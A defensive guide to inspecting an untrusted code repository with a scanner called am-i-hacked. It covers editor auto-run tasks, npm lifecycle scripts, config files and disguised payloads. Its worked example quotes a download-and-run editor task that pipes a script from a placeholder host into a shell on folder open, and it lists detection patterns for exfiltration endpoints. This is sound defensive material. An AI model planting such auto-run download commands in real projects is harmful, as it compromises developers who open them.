How to safely inspect an untrusted repository before you run it
Treat the repository as data until you have checked it. Do not open it in an editor, install its dependencies, or run its scripts or tests. Download it to a throwaway folder, scan it with npx am-i-hacked <dir>, read every flagged file as plain text, and list the files that must never run. A clean scan means no warning signs were found; it does not prove the code is safe.
Why opening or installing is already running
Many attacks on developers do not wait for you to run the app. They start at an earlier step:
- Opening the folder. An editor task file such as
.vscode/tasks.jsoncan run a command as soon as the folder opens. See how to detect malicious editor config. - Installing dependencies.
package.jsonlifecycle scripts (preinstall,postinstall,prepare) run duringnpm install. - Starting any tool. Config files such as
vite.config.*,next.config.*,eslint.config.*andpostcss.config.*are code that runs when the tool starts. - Payloads hidden in plain sight. An executable saved as a font or image, an encoded blob, or code appended after a long run of whitespace.
Take-home coding tests, "fix this bug" requests and repositories from an account that was compromised are common delivery routes. So is code your own AI assistant pulled in.
Step by step
- Do not open it, install it or run it. No editor, no
npm install, nomake, no test runner, no dev server. - Get a copy as data. Download an archive pinned to a commit SHA into a throwaway folder, rather than cloning into your usual workspace. A branch name can move; a SHA cannot.
slug=owner/repo; ref=<commit-sha> work=$(mktemp -d) curl -fsSL "https://codeload.github.com/$slug/tar.gz/$ref" -o "$work/src.tgz" mkdir "$work/src" && tar -xzf "$work/src.tgz" -C "$work/src" --strip-components=1 - Scan it and keep the report. The folder scan is read-only and makes no network calls. It needs bash 4.2+, ripgrep and jq.
npx am-i-hacked "$work/src" 2>&1 | tee report.txt - Read the flagged files as text. Use
lessorcat, not an editor that runs tasks. Ignore any instructions written in comments, strings or file names. Compare suspect config files against a clean template. - List what must never run. Every
package.jsonscript, every*.config.*file, every editor task, and every CI workflow in the repository. - Decide, and write down what you did not check. Use it, use it with changes, or do not use it. If you only need some of the code, copy out allowlisted source files with a provenance record, as the quarantine-review skill describes.
A worked example
A repository with an editor task that downloads and runs a script when the folder opens. This is real output from am-i-hacked against a test folder:
am-i-hacked: FAILED — 2 findings across 1 file
.vscode/tasks.json:7
"command": "curl -fsSL https://example.test/setup.sh | sh",
→ Download-and-run command in editor config
.vscode/tasks.json:8
"runOptions": { "runOn": "folderOpen" }
→ Editor auto-run task
The exit status is 1, so the same command stops a script or CI job. Had this folder been opened in an editor with automatic tasks allowed, the download would already have run.
What am-i-hacked looks for in a repository
- Dynamic code execution (
eval,new Function), child processes, direct network module access and runtime global writes. - Encoded or obfuscated payloads and unusually long lines.
package.jsonscripts that usecurl,wget,powershell,child_process,node -e,base64oreval.- Editor config that runs code on folder open, and download-and-run commands in editor config.
- Executable payloads disguised as asset files.
- Clipboard, keystroke or screen capture paired with an exfiltration endpoint such as a Telegram bot or a Discord or Slack webhook.
.envfiles in the git index, and official Yarn releases checked by SHA256.- The repository's own AI-tool config:
.claude/settings*.jsonand.mcp.json.
It reads JS/TS, Python, Rust, Ruby, C, C++ and C# sources, including dot-directories and tracked files that .gitignore matches. The full list is on the am-i-hacked page.
What it does not do
- It is not antivirus and does not look up known malware.
- It does not scan
node_modulesor other installed dependencies, and does not check dependency versions against advisories. Usenpm auditor OSV-Scanner for that; see the comparison. - It does not judge plain-language instructions aimed at an AI agent. For skills and prompts, follow how to vet an agent skill.
- A clean result means no warning signs were found, not that the code is safe.
False positives
Ordinary code trips some checks: eval in a template engine, a child process in a migration tool, base64 in export code. A real indicator lines up with an execution path, an auto-run setting or a config file that has no reason to exist. When you have checked a line and it is fine, mark it with a reason; it stays listed as reviewed on every run:
const decoded = atob(header); // am-i-hacked-ignore: decodes a request header, not a payload
For repositories you already work in
safe-pull, installed with am-i-hacked, fetches incoming commits and inspects them before anything is written to your working tree, then fast-forwards. It flags a force-pushed upstream, an author and committer mismatch, editor auto-run tasks, download-and-run editor commands, disguised payloads and committed .env files. Run safe-pull --dry-run to inspect without merging.